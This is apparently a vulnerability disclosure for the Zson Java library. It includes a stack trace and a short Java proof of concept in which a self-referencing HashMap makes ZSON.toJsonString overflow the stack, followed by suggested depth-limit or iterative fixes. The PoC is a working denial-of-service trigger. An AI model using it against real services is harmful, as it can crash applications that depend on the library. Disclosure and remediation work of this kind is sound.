Stack overflow error caused by Zson serialization Map

[PoppingSnack]

Stack overflow error caused by Zson serialization Map

Description

Zson before v1.3.7 was discovered to contain a stack overflow via the Map parameter.

Error Log

Exception in thread "main" java.lang.StackOverflowError
	at java.base/java.util.HashMap$KeyIterator.<init>(HashMap.java:1531)
	at java.base/java.util.HashMap$KeySet.iterator(HashMap.java:913)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:55)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)
	at com.zf.zson.result.utils.ZsonResultToString.mapToString(ZsonResultToString.java:64)
	at com.zf.zson.result.utils.ZsonResultToString.toJsonString(ZsonResultToString.java:42)

PoC

        <dependency>
            <groupId>link.zhangfei</groupId>
            <artifactId>zson</artifactId>
            <version>1.1</version>
        </dependency>

import com.zf.zson.ZSON;

import java.util.HashMap;

public class PoC {
    public static void main(String[] args) {
        HashMap<String,Object> map=new HashMap<>();
        map.put("t",map);
        ZSON.toJsonString(map);
    }
}

Rectification Solution

1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (FasterXML/jackson-databind@fcfc499)

2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.(（google/gson@2d01d6a20f39881c692977564c1ea591d9f39027）)

References

https://github.com/jettison-json/jettison/pull/53/files